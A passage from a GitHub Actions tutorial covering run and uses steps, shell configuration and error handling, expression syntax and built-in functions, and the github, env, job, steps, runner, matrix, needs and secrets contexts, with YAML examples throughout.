Notify on failure onlyfailure() && github.ref == 'refs/heads/main'Alert the team when the main branch breaks
Tip: Use always() sparingly

The always() function forces a step to run even when the workflow is cancelled. This is exactly what you want for cleanup tasks like removing cloud resources, but it can be annoying for non-critical steps. Prefer success() || failure() when you want "run on any outcome except cancellation."

Steps: Running Commands and Using Actions

Every job is made up of steps — the individual units of work that execute sequentially inside a runner. A step is either a shell command you write inline (run) or a reusable action you pull in (uses). Understanding both types and the options you can attach to any step is essential for building effective workflows.

Run Steps: Inline Shell Commands

A run step executes one or more shell commands directly on the runner. For a single command, just pass a string:

yaml
steps:
  - name: Check Node version
    run: node --version

When you need to run several commands in sequence, use the YAML block scalar | (literal block). Each line becomes a separate command in the same shell session, so variables and state carry over between lines:

yaml
steps:
  - name: Build and test
    run: |
      npm ci
      npm run build
      npm test

If your project keeps source code in a subdirectory, use working-directory to change the shell's starting directory for that step. This avoids littering your commands with cd calls:

yaml
steps:
  - name: Install backend dependencies
    run: pip install -r requirements.txt
    working-directory: ./backend
Default Shell Behavior

On Linux and macOS runners, run steps use bash with set -eo pipefail by default — meaning the step fails immediately on any non-zero exit code. On Windows, the default shell is pwsh (PowerShell Core). You can override this per-step or per-job with the shell key.

Uses Steps: Referencing Actions

A uses step runs a pre-built action instead of raw shell commands. Actions are the main reuse mechanism in GitHub Actions — they encapsulate complex logic (checking out code, setting up runtimes, deploying) into a single step you configure with with inputs.

Public actions from the Marketplace

Reference public actions in the format owner/repo@ref, where ref is a tag, branch, or commit SHA:

yaml
steps:
  - name: Check out repository
    uses: actions/checkout@v4

  - name: Set up Node.js
    uses: actions/setup-node@v4
    with:
      node-version: '20'
      cache: 'npm'

Docker container actions

You can run a step inside a Docker image pulled from a registry. This is useful when you need a specific tool or environment that isn't pre-installed on the runner:

yaml
steps:
  - name: Run a PostgreSQL migration tool
    uses: docker://flyway/flyway:10
    with:
      args: migrate -url=jdbc:postgresql://db:5432/app

Local actions

If you have a custom action defined inside your own repository, reference it with a relative path starting with ./. The action must contain an action.yml file at that path:

yaml
steps:
  - name: Check out repository
    uses: actions/checkout@v4

  - name: Run custom linter
    uses: ./.github/actions/custom-linter
    with:
      config-file: '.lintrc.yml'

Pinning actions to a commit SHA

Version tags like @v4 are convenient but mutable — the action maintainer can move a tag to point to different code. For security-critical workflows (especially in production pipelines), pin to the full 40-character commit SHA instead. This guarantees the exact code you've audited is what runs:

yaml
steps:
  # Pinned to actions/checkout v4.1.7 — verified 2024-06-20
  - name: Check out repository
    uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332
Keep SHA pins maintainable

Always add a comment next to a SHA pin noting the version it corresponds to (e.g., # v4.1.7). Use the Dependabot github-actions ecosystem to get automatic PRs when pinned actions have new releases.

Step-Level Properties

Both run and uses steps support a shared set of optional properties that control naming, conditional execution, environment, and failure handling. Here's a complete reference:

PropertyTypePurpose
idstringA unique identifier for the step. Required if you need to reference this step's outputs or outcome later.
namestringA human-readable label displayed in the GitHub Actions UI. Defaults to the run command or uses value.
ifexpressionA conditional expression. The step runs only when this evaluates to true.
envmapEnvironment variables scoped to this step only. Merged with job-level and workflow-level env.
continue-on-errorbooleanWhen true, the job continues even if this step fails. The step shows as failed, but the job result is not affected.
timeout-minutesnumberMaximum minutes the step can run before it's killed. Defaults to 360 (6 hours).

Here's a realistic example combining several of these properties in a single step:

yaml
steps:
  - name: Run integration tests
    id: integration-tests
    if: github.event_name == 'push'
    run: npm run test:integration
    env:
      DATABASE_URL: postgres://localhost:5432/test_db
      NODE_ENV: test
    continue-on-error: true
    timeout-minutes: 15

Setting and Accessing Step Outputs

Steps can produce outputs — named values that later steps in the same job can read. This is how you pass data between steps. You write to the special $GITHUB_OUTPUT file using a name=value syntax, and read outputs through the steps context.

yaml
steps:
  - name: Determine version
    id: version
    run: |
      CURRENT_VERSION=$(cat package.json | jq -r '.version')
      echo "pkg_version=$CURRENT_VERSION" >> "$GITHUB_OUTPUT"

  - name: Tag release
    if: steps.version.outputs.pkg_version != ''
    run: |
      echo "Tagging release v${{ steps.version.outputs.pkg_version }}"
      git tag "v${{ steps.version.outputs.pkg_version }}"

The pattern has three parts: the producing step must have an id, it writes to $GITHUB_OUTPUT, and the consuming step reads via steps.<id>.outputs.<name>. For multiline output values, use a delimiter syntax:

yaml
- name: Get changelog
  id: changelog
  run: |
    {
      echo "content<<EOF"
      git log --oneline v1.0.0..HEAD
      echo "EOF"
    } >> "$GITHUB_OUTPUT"

- name: Create release body
  run: echo "${{ steps.changelog.outputs.content }}"

Checking Step Outcome

Beyond outputs, you can inspect whether a step succeeded or failed using the steps.<id>.outcome property. This is especially useful when combined with continue-on-error to implement fallback logic:

yaml
steps:
  - name: Deploy to primary region
    id: deploy-primary
    continue-on-error: true
    run: ./deploy.sh --region us-east-1

  - name: Deploy to fallback region
    if: steps.deploy-primary.outcome == 'failure'
    run: ./deploy.sh --region us-west-2

  - name: Notify on total failure
    if: steps.deploy-primary.outcome == 'failure' && failure()
    run: curl -X POST "$SLACK_WEBHOOK" -d '{"text":"Both deploys failed!"}'
outcome vs conclusion

steps.<id>.outcome reflects the raw result before continue-on-error is applied (it will be failure if the step failed). steps.<id>.conclusion reflects the final result after continue-on-error is applied (it will be success if continue-on-error: true). Use outcome when you need to detect actual failures in soft-fail steps.

Shell Configuration: bash, pwsh, python, and Custom Shells

Every run step in a GitHub Actions workflow executes inside a shell process. By default, GitHub picks the shell based on the runner's operating system — but you can override this per step, per job, or for the entire workflow. Understanding which shell runs your commands — and how each one handles errors — is the difference between a pipeline that silently swallows failures and one that catches them immediately.

Default Shells per Operating System

When you omit the shell key from a run step, GitHub Actions selects a default based on the runner OS:

Runner OSDefault ShellCommand Template
ubuntu-latest, ubuntu-22.04bashbash --noprofile --norc -eo pipefail {0}
macos-latest, macos-14bashbash --noprofile --norc -eo pipefail {0}
windows-latest, windows-2022pwshpwsh -command ". '{0}'"

The {0} placeholder is where GitHub injects the path to a temporary script file containing your run commands. This is how every shell invocation works under the hood — your code is written to a temp file and then executed.

Available Shells and Their Error Handling

Each shell has distinct error-handling semantics. This matters because a failing command mid-step can either halt the workflow or be silently ignored depending on the shell in use.

bash

Bash is the most common shell for CI/CD. GitHub Actions invokes it with set -eo pipefail by default, which means: exit on the first error (-e), and treat any command failure in a pipeline as a pipeline failure (pipefail). This is the safest default — a failing curl piped into grep won't be masked by a successful grep.

yaml
- name: Build project
  shell: bash
  run: |
    echo "Building..."
    make build        # If this fails, the step stops immediately
    echo "Done!"      # This line never runs if make fails

The full invocation template is bash --noprofile --norc -eo pipefail {0}. The --noprofile --norc flags skip loading .bashrc and .bash_profile, ensuring a clean, predictable environment.

sh

The POSIX shell (sh) uses set -e but does not support pipefail. This means pipeline failures can go undetected. Use sh only when you need strict POSIX compatibility or are running on a minimal container image without bash.

yaml
- name: POSIX-compatible step
  shell: sh
  run: |
    # Invoked as: sh -e {0}
    echo "Running in POSIX sh"

pwsh (PowerShell Core)

PowerShell Core is cross-platform and available on all GitHub-hosted runner OSes (Linux, macOS, and Windows). It's the default shell on Windows runners. GitHub prepends $ErrorActionPreference = 'stop' to your script, so any error terminates the step. It also pipes output through Out-Default to capture the full output stream.

yaml
- name: Cross-platform PowerShell
  shell: pwsh
  run: |
    $version = $PSVersionTable.PSVersion
    Write-Output "PowerShell Core $version"
    Get-ChildItem -Path ./src -Recurse -Filter *.cs | Measure-Object

powershell (Windows PowerShell)

This is the legacy Windows-only PowerShell (version 5.1). It uses the same error-handling behavior as pwsh, but it's only available on Windows runners. Prefer pwsh for cross-platform workflows.

python

Setting shell: python executes the entire run block as a Python script. GitHub invokes python {0}, passing the temp file. There's no automatic error handling added — if you want to fail on errors, you need to handle exceptions or use sys.exit(1) yourself.

yaml
- name: Run inline Python
  shell: python
  run: |
    import json, os

    event_path = os.environ["GITHUB_EVENT_PATH"]
    with open(event_path) as f:
        payload = json.load(f)
    print(f"Triggered by: {payload['sender']['login']}")

cmd (Windows only)

The classic Windows Command Prompt. GitHub Actions prepends @echo off and checks the error level after each line. It's rarely needed — use pwsh unless you're working with legacy batch scripts.

Error Handling Summary

bash is the strictest out of the box thanks to -eo pipefail. Both pwsh and powershell auto-set $ErrorActionPreference = 'stop'. sh uses -e but lacks pipefail. python and cmd add no automatic error flags — you're responsible for explicit error handling.

Setting Shell and Working Directory with defaults.run

Repeating shell: bash on every step is tedious. The defaults.run key lets you set the shell and working directory once, either for the entire workflow or for a specific job. Individual steps can still override these defaults.

Workflow-level defaults

Place defaults at the top level of your workflow file. Every run step across all jobs inherits these settings:

yaml
name: Build and Test

defaults:
  run:
    shell: bash
    working-directory: ./app

on: [push]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install dependencies
        run: npm ci          # Runs in ./app with bash

      - name: Run tests
        run: npm test         # Also runs in ./app with bash

      - name: Check root files
        working-directory: .  # Override for this step only
        run: ls -la

Job-level defaults

You can also set defaults per job. Job-level defaults override workflow-level defaults, giving you fine-grained control in multi-job workflows:

yaml
jobs:
  backend:
    runs-on: ubuntu-latest
    defaults:
      run:
        shell: bash
        working-directory: ./backend
    steps:
      - uses: actions/checkout@v4
      - run: cargo build --release
      - run: cargo test

  frontend:
    runs-on: ubuntu-latest
    defaults:
      run:
        shell: bash
        working-directory: ./frontend
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm run build
Monorepo Tip

In monorepos, use job-level defaults.run.working-directory to scope each job to its package directory. This eliminates repetitive cd commands and makes your workflow files much cleaner.

Custom Shell Invocations

You aren't limited to the built-in shell names. The shell key accepts any command string that includes the {0} placeholder — GitHub writes your run block to a temp file and substitutes its path into {0}. This opens the door to using Perl, Ruby, or any other interpreter available on the runner.

yaml
- name: Run a Perl script
  shell: perl {0}
  run: |
    print "Perl version: $^V
";
    my @files = glob("src/*.pl");
    print "Found " . scalar(@files) . " Perl files
";

- name: Run with custom bash flags
  shell: bash -x -e {0}
  run: |
    # -x prints each command before execution (debug mode)
    # -e exits on error, but no pipefail
    echo "Debug tracing is on"
    whoami

The custom shell pattern is especially useful for two scenarios: running scripts in languages GitHub doesn't natively support, and tweaking the error-handling flags of a built-in shell (e.g., adding -x for debug tracing or removing -e when you intentionally want to continue past errors).

Don't disable error handling without reason

Using a custom shell string like bash {0} (without -e) means failing commands won't stop the step. The step will report success even if intermediate commands failed. Only do this when you're deliberately handling errors yourself — for example, when capturing an exit code in a variable.

Shell Selection Quick Reference

ShellPlatformsAuto Error HandlingInvocation Template
bashLinux, macOS, Windowsset -eo pipefailbash --noprofile --norc -eo pipefail {0}
shLinux, macOSset -esh -e {0}
pwshLinux, macOS, Windows$ErrorActionPreference = 'stop'pwsh -command ". '{0}'"
powershellWindows only$ErrorActionPreference = 'stop'powershell -command ". '{0}'"
pythonLinux, macOS, WindowsNonepython {0}
cmdWindows only%ErrorLevel% check per linecmd /D /E:ON /V:OFF /S /C "CALL "{0}""

Expressions, Operators, and Built-in Functions

GitHub Actions expressions let you programmatically set values, evaluate conditions, and transform data throughout your workflows. Every expression lives inside the ${{ }} delimiter and is evaluated by the Actions runner at execution time. Mastering expressions is the key to writing dynamic, flexible workflows.

The ${{ }} Syntax

You can use expressions in any workflow value by wrapping them in ${{ }}. When used in an if conditional, the delimiters are optional — GitHub automatically evaluates the value as an expression.

yaml
env:
  MY_VAR: ${{ github.ref_name }}

steps:
  - name: Greet
    run: echo "Branch is ${{ github.ref_name }}"

  # In `if`, the ${{ }} delimiters are optional
  - name: Deploy
    if: github.ref == 'refs/heads/main'
    run: ./deploy.sh
Note

While if conditionals auto-evaluate expressions, you should still use ${{ }} when you need string interpolation inside the condition or when comparing against context values that might be coerced unexpectedly.

Literal Types

Expressions support four literal types. These are the raw values you use within ${{ }} for comparisons, assignments, and function arguments.

TypeSyntaxExamples
nullnullnull
Booleantrue / falsetrue, false
NumberAny valid JSON number42, -9.5, 3.141, 2.99e8
StringSingle-quoted text'hello', 'it''s escaped'

Strings must use single quotes. To include a literal single quote inside a string, double it: 'it''s' produces it's. There are no double-quoted strings in expressions.

yaml
steps:
  - name: Literal examples
    if: github.event_name == 'push'
    env:
      IS_RELEASE: ${{ true }}
      MAX_RETRIES: ${{ 3 }}
      GREETING: ${{ 'Hello, Actions!' }}
      UNSET_VAR: ${{ null }}
    run: echo "$IS_RELEASE retries=$MAX_RETRIES"

Operators

Expressions support a concise set of operators for comparisons, logical branching, and grouping. Every comparison is case-insensitive for strings — 'ABC' == 'abc' evaluates to true.

Comparison Operators

OperatorDescriptionExample
==Equal (loose, with type coercion)github.ref == 'refs/heads/main'
!=Not equalgithub.actor != 'dependabot[bot]'
<Less thangithub.run_attempt < 3
>Greater thansteps.tests.outputs.score > 80
<=Less than or equalstrategy.job-index <= 2
>=Greater than or equalenv.MIN_COVERAGE >= 90

Logical Operators

OperatorDescriptionExample
&&Logical ANDgithub.ref == 'refs/heads/main' && github.event_name == 'push'
||Logical ORgithub.event_name == 'push' || github.event_name == 'workflow_dispatch'
!Logical NOT!cancelled()
( )Grouping(github.ref == 'refs/heads/main') && (success() || failure())
yaml
- name: Deploy to production
  if: >-
    github.ref == 'refs/heads/main' &&
    github.event_name == 'push' &&
    !contains(github.event.head_commit.message, '[skip deploy]')
  run: ./deploy.sh

- name: Notify on any conclusion
  if: (success() || failure()) && github.ref == 'refs/heads/main'
  run: ./notify.sh ${{ job.status }}

Type Coercion Rules

When you compare values of different types, GitHub Actions automatically coerces them. Understanding these rules prevents subtle bugs — especially when context values arrive as strings but you compare them as numbers.

From TypeTo BooleanTo NumberTo String
nullfalse0''
Booleantrue→1, false→0'true' / 'false'
Numberfalse if 0, else truedecimal string
Stringfalse if '', else trueJSON number or NaN
Warning

A common pitfall: comparing NaN to NaN returns false. If a string can't be parsed as a number, both sides become NaN and equality fails silently. Always ensure numeric context values are actually numeric before comparing with < or >.

Built-in Functions

GitHub Actions provides a set of built-in functions you can call inside expressions. These cover string matching, formatting, JSON handling, file hashing, and job status checks.

String Functions

contains( search, item )

Returns true if search contains item. Works on strings (case-insensitive substring match) and arrays (exact element match). This is one of the most commonly used functions for filtering by labels, commit messages, or changed files.

yaml
# String substring check (case-insensitive)
- name: Skip CI
  if: contains(github.event.head_commit.message, '[skip ci]')
  run: echo "Skipping..."

# Array element check
- name: Run if label exists
  if: contains(github.event.pull_request.labels.*.name, 'deploy')
  run: ./deploy.sh

# Check the runner OS
- name: macOS only
  if: contains(runner.os, 'macOS')
  run: brew install jq

startsWith( string, prefix )

Returns true if the string begins with the prefix. Case-insensitive. Invaluable for branch filtering when the if condition needs more nuance than the on.push.branches filter provides.

yaml
- name: Run on release branches
  if: startsWith(github.ref, 'refs/heads/release/')
  run: echo "Building release from ${{ github.ref_name }}"

- name: Run on version tags
  if: startsWith(github.ref, 'refs/tags/v')
  run: echo "Tagged version: ${{ github.ref_name }}"

endsWith( string, suffix )

Returns true if the string ends with the suffix. Case-insensitive. Useful for matching file extensions, tag suffixes, or branch naming conventions.

yaml
- name: Detect pre-release tags
  if: endsWith(github.ref_name, '-rc')
  run: echo "This is a release candidate"

- name: Check actor domain
  if: endsWith(github.actor, '[bot]')
  run: echo "Triggered by a bot account"

format( template, ...args )

Replaces {0}, {1}, etc. in the template string with the provided arguments. This is the expression-native way to build strings without relying on shell interpolation. To include a literal brace, escape it by doubling: {{ and }}.

yaml
env:
  # Produces: "Run 42 on main by octocat"
  SUMMARY: ${{ format('Run {0} on {1} by {2}', github.run_number, github.ref_name, github.actor) }}

  # Escape literal braces with doubling: produces "{hello}"
  BRACES: ${{ format('{{hello}}') }}

  # Build a dynamic cache key
  CACHE_KEY: ${{ format('{0}-{1}-{2}', runner.os, 'node', hashFiles('**/package-lock.json')) }}

join( array, separator )

Concatenates the elements of an array into a single string using the specified separator. If no separator is provided, it defaults to ,. Particularly useful for collecting output values or label names.

yaml
- name: List all PR labels
  run: echo "Labels: ${{ join(github.event.pull_request.labels.*.name, ', ') }}"
  # Output: "Labels: bug, priority-high, needs-review"

- name: Default comma separator
  run: echo "${{ join(github.event.pull_request.labels.*.name) }}"
  # Output: "bug,priority-high,needs-review"

JSON Functions

toJSON( value )

Serializes any value into a pretty-printed JSON string. Essential for debugging — dumping entire contexts to the log reveals the exact structure and values available to your workflow.

yaml
# Dump the entire github context for debugging
- name: Debug github context
  run: echo '${{ toJSON(github) }}'

# Dump a specific step's outputs
- name: Inspect step outputs
  run: echo '${{ toJSON(steps.build.outputs) }}'

# Dump the full event payload
- name: Show event
  run: echo '${{ toJSON(github.event) }}'

fromJSON( string )

Parses a JSON string into an object or value. This is the workhorse behind dynamic matrix strategies — you can generate a JSON array in one job and consume it as a matrix in another. It also lets you cast string outputs to numbers or booleans.

yaml
jobs:
  prepare:
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.set-matrix.outputs.matrix }}
    steps:
      - id: set-matrix
        run: echo "matrix=[\"ubuntu-latest\",\"macos-latest\",\"windows-latest\"]" >> "$GITHUB_OUTPUT"

  build:
    needs: prepare
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: ${{ fromJSON(needs.prepare.outputs.matrix) }}
    steps:
      - run: echo "Building on ${{ matrix.os }}"
yaml
# Cast a string output to a number for comparison
- name: Check score
  if: fromJSON(steps.test.outputs.coverage) >= 80
  run: echo "Coverage threshold met!"

# Cast a string to a boolean
- name: Conditional on boolean output
  if: fromJSON(steps.check.outputs.should_deploy)
  run: ./deploy.sh

File Hashing

hashFiles( ...patterns )

Computes a single SHA-256 hash across all files matching the given glob patterns. Returns an empty string if no files match. This is the standard approach for cache keys — when your dependency lockfile changes, the hash changes, and the cache is invalidated.

yaml
# Cache Node.js dependencies
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-node-

# Cache Python dependencies
- uses: actions/cache@v4
  with:
    path: ~/.cache/pip
    key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt', '**/setup.py') }}

# Multiple patterns — hash all Go sum files
- uses: actions/cache@v4
  with:
    path: ~/go/pkg/mod
    key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
Tip

hashFiles() follows the search path relative to the GITHUB_WORKSPACE directory. The glob patterns use the same syntax as @actions/glob — double-star ** matches across directories. You can pass multiple patterns as separate arguments and they all contribute to one combined hash.

Job Status Check Functions

These four functions check the aggregate status of previous steps in the current job. They are designed for use in if conditionals and are critical for building reliable cleanup, notification, and error-handling steps.

success()

Returns true when all previous steps have succeeded. This is the implicit default — every step has an invisible if: success() unless you override it. You rarely need to write it explicitly, but it's useful in compound conditions.

yaml
# Explicit success — same as the default behavior
- name: Upload artifacts
  if: success()
  uses: actions/upload-artifact@v4
  with:
    name: build-output
    path: dist/

failure()

Returns true if any previous step failed. Use this to trigger error-handling steps — upload logs, send alerts, or create GitHub issues on failure.

yaml
- name: Run tests
  id: tests
  run: npm test

- name: Upload failure logs
  if: failure() && steps.tests.outcome == 'failure'
  uses: actions/upload-artifact@v4
  with:
    name: test-logs
    path: test-results/

- name: Notify Slack on failure
  if: failure()
  run: |
    curl -X POST "$SLACK_WEBHOOK" \
      -d "{\"text\": \"❌ Build failed on ${{ github.ref_name }}\"}"

cancelled()

Returns true if the workflow run was cancelled. Useful for distinguishing a user-initiated cancellation from an actual failure so you can skip certain notifications or cleanup differently.

yaml
- name: Handle cancellation
  if: cancelled()
  run: echo "Workflow was cancelled — cleaning up partial resources"

always()

Returns true regardless of whether previous steps succeeded, failed, or were cancelled. This guarantees the step runs no matter what. Use it for cleanup tasks, resource teardown, or final status reporting.

yaml
- name: Tear down test environment
  if: always()
  run: docker compose down --volumes

- name: Report final status
  if: always()
  run: |
    echo "Job conclusion: ${{ job.status }}"
    echo "Completed at: $(date -u)"

Combining Status Functions

The real power of status functions emerges when you combine them with other conditions. A common pattern is "run on success or failure but not if cancelled" — this lets cancelled workflows skip expensive notification steps.

yaml
# Run on success OR failure, but NOT if cancelled
- name: Post build status
  if: success() || failure()
  run: ./post-status.sh ${{ job.status }}

# Run cleanup always, but only notify on failure for main branch
- name: Alert on main failure
  if: failure() && github.ref == 'refs/heads/main'
  uses: slackapi/slack-github-action@v1
  with:
    payload: |
      {"text": "🚨 Main branch build failed: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"}

Putting It All Together

Here's a realistic workflow fragment that combines expressions, operators, and multiple built-in functions into a cohesive CI pipeline. Notice how each conditional uses a different combination of functions and operators.

yaml
name: CI Pipeline
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Cache dependencies
        uses: actions/cache@v4
        with:
          path: node_modules
          key: ${{ format('{0}-node-{1}', runner.os, hashFiles('**/package-lock.json')) }}

      - name: Install & Build
        run: npm ci && npm run build

      - name: Run tests
        id: tests
        run: npm test

      - name: Deploy to staging
        if: >-
          success() &&
          startsWith(github.ref, 'refs/heads/release/') &&
          !contains(github.event.head_commit.message, '[no deploy]')
        run: ./deploy.sh staging

      - name: Deploy to production
        if: >-
          success() &&
          github.ref == 'refs/heads/main' &&
          github.event_name == 'push'
        run: ./deploy.sh production

      - name: Upload test report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: test-report-${{ github.run_number }}
          path: coverage/

      - name: Notify team
        if: failure() && github.ref == 'refs/heads/main'
        run: echo "Build ${{ github.run_number }} failed on main"

      - name: Debug on failure
        if: failure()
        run: |
          echo "Failed step: ${{ toJSON(steps.tests) }}"
          echo "Event: ${{ github.event_name }}"
          echo "PR labels: ${{ join(github.event.pull_request.labels.*.name, ', ') }}"

Contexts: github, env, job, steps, runner, matrix, needs, and More

Contexts are GitHub Actions' primary mechanism for accessing information about workflow runs, jobs, steps, and the runner environment. Every context is an object you reference with the ${{ <context> }} expression syntax, and each one is available at specific points in a workflow's lifecycle.

This section provides an exhaustive reference for every built-in context, its properties, and exactly where you can use each one.

The github Context

The github context is the richest context available. It carries metadata about the workflow run, the triggering event, the repository, and the actor who initiated the run. You can access it in almost every workflow location — from on filters down to individual step expressions.

yaml
- name: Print key github context values
  run: |
    echo "Event:      ${{ github.event_name }}"
    echo "SHA:        ${{ github.sha }}"
    echo "Ref:        ${{ github.ref }}"
    echo "Branch:     ${{ github.ref_name }}"
    echo "Actor:      ${{ github.actor }}"
    echo "Trigger:    ${{ github.triggering_actor }}"
    echo "Run ID:     ${{ github.run_id }}"
    echo "Run #:      ${{ github.run_number }}"
    echo "Repo:       ${{ github.repository }}"
    echo "Owner:      ${{ github.repository_owner }}"
    echo "Workflow:   ${{ github.workflow }}"
    echo "API URL:    ${{ github.api_url }}"

Key github Properties

PropertyTypeDescription
github.event_namestringName of the triggering event (e.g., push, pull_request, workflow_dispatch).
github.eventobjectThe full webhook event payload. Identical to the JSON in $GITHUB_EVENT_PATH. Use to access PR numbers, labels, commit messages, etc.
github.shastringThe commit SHA that triggered the run. For PRs, this is the merge commit SHA, not the head commit.
github.refstringFull ref of the branch or tag (e.g., refs/heads/main, refs/tags/v1.0.0).
github.ref_namestringShort ref name without the refs/heads/ or refs/tags/ prefix (e.g., main, v1.0.0).
github.workflowstringName of the workflow as defined in the name: key of the workflow file.
github.repositorystringOwner and repo name (e.g., octocat/hello-world).
github.repository_ownerstringThe owner of the repository (e.g., octocat).
github.actorstringThe username of the user who initiated the workflow run.
github.triggering_actorstringThe user who triggered the run. Differs from actor when a workflow is re-run by a different user.
github.run_idstringA unique number for each workflow run in the repository. Does not change on re-runs.
github.run_numberstringA unique, sequentially incrementing number for each run of a specific workflow. Starts at 1.
github.run_attemptstringA unique number for each attempt of a particular run (starts at 1, increments on re-run).
github.server_urlstringURL of the GitHub server (e.g., https://github.com).
github.api_urlstringURL of the GitHub REST API (e.g., https://api.github.com).
github.tokenstringAuto-generated token for the run. Same as secrets.GITHUB_TOKEN.
github.workspacestringDefault working directory on the runner for steps. After actions/checkout, this contains your repo.
github.actionstringThe name of the currently running action, or the step id.
github.base_refstringTarget branch of a PR (e.g., main). Only set for pull_request events.
github.head_refstringSource branch of a PR (e.g., feature/login). Only set for pull_request events.
github.event is the full webhook payload

You can drill into github.event to access any field from the GitHub webhook payload. For example, github.event.pull_request.title gives you the PR title, and github.event.head_commit.message gives you the latest commit message on a push. The structure depends entirely on the event type.

The env Context

The env context contains environment variables that have been set at the workflow, job, or step level. Variables set at a narrower scope override those at a wider scope. You read them via ${{ env.MY_VAR }} in expressions or as $MY_VAR in shell scripts.

yaml
env:
  APP_ENV: production          # workflow-level

jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      REGION: us-east-1        # job-level (overrides workflow-level)
    steps:
      - name: Deploy
        env:
          DEBUG: "false"       # step-level (narrowest scope)
        run: |
          echo "Env:    ${{ env.APP_ENV }}"
          echo "Region: $REGION"
          echo "Debug:  $DEBUG"

The key distinction: ${{ env.VAR }} is evaluated by the GitHub Actions expression engine before the shell runs. $VAR is evaluated by the shell at runtime. In most cases they produce the same value, but the expression form is required in if: conditionals and other non-shell fields.

The job Context

The job context provides runtime information about the currently executing job. Its most common use is checking the job's status in post-processing or cleanup steps, but it also exposes details about service containers.

PropertyTypeDescription
job.statusstringCurrent status of the job: success, failure, or cancelled.
job.containerobjectInfo about the job's container: job.container.id and job.container.network.
job.servicesobjectService containers defined for the job. Access via job.services.<service_id>.id and job.services.<service_id>.ports.
yaml
jobs:
  test:
    runs-on: ubuntu-latest
    services:
      redis:
        image: redis:7
        ports:
          - 6379:6379
    steps:
      - name: Verify Redis is running
        run: |
          echo "Redis container ID: ${{ job.services.redis.id }}"
          redis-cli -h localhost -p 6379 ping

      - name: Cleanup on any outcome
        if: always()
        run: echo "Job status is ${{ job.status }}"

The steps Context

The steps context gives you access to the outputs, outcome, and conclusion of previously executed steps within the same job. You reference a step by its id. This is how you pass data between steps and make conditional decisions based on prior results.

outcome vs conclusion

These two properties often confuse people. outcome is the raw result of the step before continue-on-error is applied. conclusion is the final result after continue-on-error. If a step fails but has continue-on-error: true, its outcome is failure but its conclusion is success.

yaml
steps:
  - id: lint
    continue-on-error: true
    run: npm run lint

  - id: build
    run: npm run build

  - name: Report lint status
    if: steps.lint.outcome == 'failure'
    run: echo "Lint failed but was allowed to continue"

  - name: Use build output
    run: echo "Build conclusion: ${{ steps.build.conclusion }}"

Passing Data Between Steps with Outputs

Steps produce outputs by writing to the $GITHUB_OUTPUT file. Downstream steps read them via steps.<step_id>.outputs.<name>. This is the primary way to share computed values within a single job.

yaml
steps:
  - id: version
    run: echo "tag=v$(date +%Y%m%d)-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"

  - name: Use the computed tag
    run: echo "Deploying ${{ steps.version.outputs.tag }}"

The runner Context

The runner context provides information about the runner machine executing the current job. It's especially useful for writing cross-platform workflows or for placing temporary files in safe locations.

PropertyTypeDescription
runner.osstringOperating system: Linux, Windows, or macOS.
runner.archstringArchitecture: X86, X64, or ARM64.
runner.namestringThe name of the runner executing the job.
runner.tempstringPath to a temporary directory. Guaranteed to be empty at the start of each job. Cleaned up automatically.
runner.tool_cachestringPath to the directory containing preinstalled tools (used by actions/setup-* actions).
runner.environmentstringThe runner environment: github-hosted or self-hosted.
runner.debugstring1 if debug logging is enabled, empty string otherwise.
yaml
- name: Platform-specific build
  run: |
    if [ "${{ runner.os }}" = "Windows" ]; then
      choco install my-tool
    elif [ "${{ runner.os }}" = "macOS" ]; then
      brew install my-tool
    else
      sudo apt-get install -y my-tool
    fi

- name: Store artifacts in temp
  run: cp build/output.zip "${{ runner.temp }}/output.zip"

The matrix Context

The matrix context holds the values for the current matrix combination. When you define a strategy.matrix, GitHub Actions spawns one job for each combination. Inside each spawned job, matrix.<property> gives you the specific values for that run.

yaml
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: [ubuntu-latest, macos-latest, windows-latest]
        node: [18, 20, 22]
    steps:
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}
      - run: node --version
      - run: echo "Testing on ${{ matrix.os }} with Node ${{ matrix.node }}"

The matrix context is only available inside jobs that define a matrix strategy. Referencing it elsewhere produces an empty string.

The needs Context

The needs context lets you access outputs and results from jobs that the current job depends on (via the needs: key). This is the mechanism for passing data between jobs — while steps passes data within a job, needs does it across job boundaries.

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      artifact-url: ${{ steps.upload.outputs.url }}
    steps:
      - id: upload
        run: echo "url=https://artifacts.example.com/build-42.zip" >> "$GITHUB_OUTPUT"

  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - name: Download artifact
        run: |
          echo "Build result: ${{ needs.build.result }}"
          echo "Artifact:     ${{ needs.build.outputs.artifact-url }}"

Each entry in needs exposes two things: needs.<job_id>.result (one of success, failure, cancelled, or skipped) and needs.<job_id>.outputs.<name> for any outputs declared in the upstream job.

The secrets Context

The secrets context provides access to encrypted secrets configured in the repository, organization, or environment settings. Secret values are masked in logs — GitHub Actions automatically redacts them from any output.

yaml
steps:
  - name: Deploy to production
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
    run: aws s3 sync ./dist s3://my-bucket

  - name: Use auto-provided token
    run: |
      curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
        https://api.github.com/repos/${{ github.repository }}/issues

secrets.GITHUB_TOKEN is automatically available in every workflow run without any configuration. For all other secrets, you must add them in your repository or organization settings.

The inputs Context

